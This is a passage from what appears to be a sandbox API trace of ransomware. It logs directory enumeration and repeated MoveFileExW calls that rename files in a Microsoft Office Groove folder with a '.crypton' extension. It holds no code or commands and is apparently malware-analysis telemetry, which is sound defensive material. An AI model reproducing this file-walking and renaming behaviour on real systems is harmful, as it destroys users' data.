office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg.crypton"), dwFlags=0x2) returned 1 [0102.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg.crypton"), dwFlags=0x2) returned 1 [0102.399] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg.crypton"), dwFlags=0x2) returned 1 [0102.411] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg.crypton"), dwFlags=0x2) returned 1 [0102.418] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg.crypton"), dwFlags=0x2) returned 1 [0102.423] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg.crypton"), dwFlags=0x2) returned 1 [0102.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg.crypton"), dwFlags=0x2) returned 1 [0102.447] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg.crypton"), dwFlags=0x2) returned 1 [0102.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg.crypton"), dwFlags=0x2) returned 1 [0102.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg.crypton"), dwFlags=0x2) returned 1 [0102.478] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg.crypton"), dwFlags=0x2) returned 1 [0102.489] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg.crypton"), dwFlags=0x2) returned 1 [0102.500] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg.crypton"), dwFlags=0x2) returned 1 [0102.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg.crypton"), dwFlags=0x2) returned 1 [0102.524] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg.crypton"), dwFlags=0x2) returned 1 [0102.537] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg.crypton"), dwFlags=0x2) returned 1 [0102.542] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html.crypton"), dwFlags=0x2) returned 1 [0102.546] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html.crypton"), dwFlags=0x2) returned 1 [0102.551] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html.crypton"), dwFlags=0x2) returned 1 [0102.566] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html.crypton"), dwFlags=0x2) returned 1 [0102.573] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js.crypton"), dwFlags=0x2) returned 1 [0102.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css.crypton"), dwFlags=0x2) returned 1 [0102.583] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html.crypton"), dwFlags=0x2) returned 1 [0102.587] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html.crypton"), dwFlags=0x2) returned 1 [0102.593] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba817d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba817d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x37000433, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0102.598] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg.crypton"), dwFlags=0x2) returned 1 [0102.603] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0102.608] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html.crypton"), dwFlags=0x2) returned 1 [0102.616] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg.crypton"), dwFlags=0x2) returned 1 [0102.665] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.crypton"), dwFlags=0x2) returned 1 [0102.671] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js.crypton"), dwFlags=0x2) returned 1 [0102.675] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif.crypton"), dwFlags=0x2) returned 1 [0102.680] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif.crypton"), dwFlags=0x2) returned 1 [0102.684] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif.crypton"), dwFlags=0x2) returned 1 [0102.716] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js.crypton"), dwFlags=0x2) returned 1 [0102.724] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js.crypton"), dwFlags=0x2) returned 1 [0102.738] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js.crypton"), dwFlags=0x2) returned 1 [0102.741] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css.crypton"), dwFlags=0x2) returned 1 [0102.755] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js.crypton"), dwFlags=0x2) returned 1 [0102.758] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif.crypton"), dwFlags=0x2) returned 1 [0102.760] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js.crypton"), dwFlags=0x2) returned 1 [0102.765] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg.crypton"), dwFlags=0x2) returned 1 [0102.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js.crypton"), dwFlags=0x2) returned 1 [0102.773] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba9e0e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xba9e0e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0102.777] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif.crypton"), dwFlags=0x2) returned 1 [0102.781] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg.crypton"), dwFlags=0x2) returned 1 [0102.787] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp.crypton"), dwFlags=0x2) returned 1 [0102.792] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif.crypton"), dwFlags=0x2) returned 1 [0102.808] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft 